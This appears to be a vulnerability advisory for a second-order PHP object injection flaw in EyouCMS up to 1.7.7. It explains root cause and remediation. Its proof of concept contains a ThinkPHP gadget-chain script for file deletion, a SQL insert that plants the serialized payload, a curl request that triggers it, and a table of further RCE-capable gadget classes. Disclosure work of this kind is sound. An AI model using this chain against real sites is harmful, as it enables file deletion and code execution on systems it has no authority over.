EyouCMS 1.7.7 Deserialization Vulnerability
PHP Object Injection Vulnerability in EyouCMS ≤ 1.7.7#
Title: Second-Order PHP Object Injection in EyouCMS ≤ 1.7.7 via arcpagelist#
BUG_Author: pemic
Affected Version: EyouCMS ≤ 1.7.7
Vendor: EyouCMS Official Website
Software: EyouCMS
Vulnerability Files:
application/api/controller/Ajax.php(Line 483)core/library/think/template/taglib/eyou/TagArclist.php(Line 747)
Description:#
1. Vulnerability Overview#
EyouCMS version 1.7.7 and earlier contains a PHP Object Injection vulnerability. The application uses native PHP unserialize() function to deserialize data from the ey_arcmulti database table without proper validation. Combined with ThinkPHP 5.0.24's known gadget chains, this can lead to Remote Code Execution (RCE) or arbitrary file deletion.
2. Vulnerability Type#
Second-Order Deserialization: The malicious serialized payload is first stored in the database, then later retrieved and deserialized when a user accesses a specific page.
3. Root Cause Analysis#
Deserialization Point (application/api/controller/Ajax.php):
// Line 483
$attarray = unserialize(stripslashes($arcmultiRow['attstr']));
The unserialize() function is called on data from ey_arcmulti.attstr without using allowed_classes restriction or the application's safe_unserialize() function.
Data Storage Point (core/library/think/template/taglib/eyou/TagArclist.php):
// Line 747
$attstr = addslashes(serialize($tag));
// Line 758
'attstr' => $attstr,
4. ThinkPHP Version#
// core/base.php:12
define('THINK_VERSION', '5.0.24');
ThinkPHP 5.0.24 has known deserialization gadget chains that can achieve:
Remote Code Execution (RCE)
Arbitrary File Deletion
Arbitrary File Write
Attack Flow:#
Step 1: Attacker gains ability to write to ey_arcmulti.attstr
(via SQL injection, database access, or admin template editing)
↓
Step 2: Insert malicious serialized ThinkPHP gadget chain
↓
Step 3: Victim visits page using arcpagelist functionality
↓
Step 4: Ajax.php:483 calls unserialize() on malicious data
↓
Step 5: ThinkPHP gadget chain executes → RCE/File Deletion
Proof of Concept:#
Prerequisites:#
Database access OR SQL injection vulnerability OR Admin access to modify templates
Target page using
{eyou:arclist}tag with pagination
Step 1: Prepare Malicious Payload#
ThinkPHP 5.0.24 RCE Gadget Chain (example for file deletion):
<?php
namespace think\process\pipes;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = ['/var/www/html/target_file.php'];
}
}
$payload = new Windows();
echo serialize($payload);
// Output: O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;s:28:"/var/www/html/target_file.php";}}
Step 2: Insert Payload into Database#
-- Method 1: Direct database access
INSERT INTO ey_arcmulti (tagid, tagname, attstr, pagesize, querysql, add_time, update_time)
VALUES (
'malicious_tag_id_md5',
'arclist',
'O:27:"think\\process\\pipes\\Windows":1:{s:34:"think\\process\\pipes\\Windowsfiles";a:1:{i:0;s:28:"/var/www/html/target_file.php";}}',
10,
'SELECT * FROM ey_archives LIMIT 10',
UNIX_TIMESTAMP(),
UNIX_TIMESTAMP()
);
-- Method 2: If SQL injection exists, use it to insert/update
Step 3: Trigger Deserialization#
Send AJAX request to trigger the vulnerability:
curl -X POST "http://target/index.php?m=api&c=Ajax&a=arcpagelist" \
-H "X-Requested-With: XMLHttpRequest" \
-d "tagid=malicious_tag&tagidmd5=malicious_tag_id_md5&page=2&pagesize=10"
Step 4: Verify Exploitation#
If successful, the target file specified in the gadget chain will be deleted.
Vulnerable Code Snippet:#
File: application/api/controller/Ajax.php (Lines 451-493)#
public function arcpagelist()
{
if (!IS_AJAX) {
abort(404);
}
$pnum = input('page/d', 0);
$pagesize = input('pagesize/d', 0);
$tagid = input('tagid/s', '');
$tagidmd5 = input('tagidmd5/s', '');
// ... validation ...
$arcmulti_db = Db::name('arcmulti');
$arcmultiRow = $arcmulti_db->where(['tagid' => $tagidmd5])->find();
if (!empty($arcmultiRow) && !empty($arcmultiRow['querysql'])) {
// VULNERABLE: Native unserialize without class restriction
$attarray = unserialize(stripslashes($arcmultiRow['attstr']));
// ... continues processing ...
}
}
Available Gadget Chains:#
| Class | Magic Method | Effect |
|---|---|---|
think\process\pipes\Windows | __destruct() | Arbitrary File Deletion |
think\model\Pivot | __destruct() | SQL Injection / RCE |
think\Process | __destruct() | Process Control |
think\Db\Connection | __destruct() | Database Manipulation |
Exploitation Conditions:#
| Condition | Required | Description |
|---|---|---|
| Database Write Access | Yes | To insert malicious serialized data |
| Valid tagid/tagidmd5 | Yes | To trigger the vulnerable code path |
| AJAX Request | Yes | Endpoint requires IS_AJAX check |
Ways to Achieve Database Write:#
SQL Injection: If another SQL injection vulnerability exists
Admin Access: Modify template files containing
{eyou:arclist}tagsDatabase Compromise: Direct database access through other means
Impact:#
| Impact Type | Severity | Description |
|---|---|---|
| Remote Code Execution | Critical | Execute arbitrary PHP code |
| Arbitrary File Deletion | High | Delete critical system files |
| Data Manipulation | High | Modify database contents |
CVSS v3.1 Score: 8.1 (High) - Assuming database write access is obtained
Attack Vector: Network
Attack Complexity: High (requires chaining with another vulnerability)
Privileges Required: None/Low
User Interaction: None
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: High
Remediation:#
1. Use safe_unserialize() Function#
The application already has a safe_unserialize() function in application/function.php:
// Replace this:
$attarray = unserialize(stripslashes($arcmultiRow['attstr']));
// With this:
$attarray = safe_unserialize(stripslashes($arcmultiRow['attstr']));
2. Use allowed_classes Parameter (PHP 7.0+)#
$attarray = unserialize(
stripslashes($arcmultiRow['attstr']),
['allowed_classes' => false]
);
3. Use JSON Instead of Serialize#
// Storage:
$attstr = json_encode($tag);
// Retrieval:
$attarray = json_decode($arcmultiRow['attstr'], true);
Related Vulnerabilities:#
The same file also executes raw SQL from database:
Db::query($querysql)(Line 493)This creates a Second-Order SQL Injection if
ey_arcmulti.querysqlis compromised
Timeline:#
| Date | Event |
|---|---|
| 2025-12-18 | Vulnerability Discovered |
| 2025-12-18 | Report Created |
## References: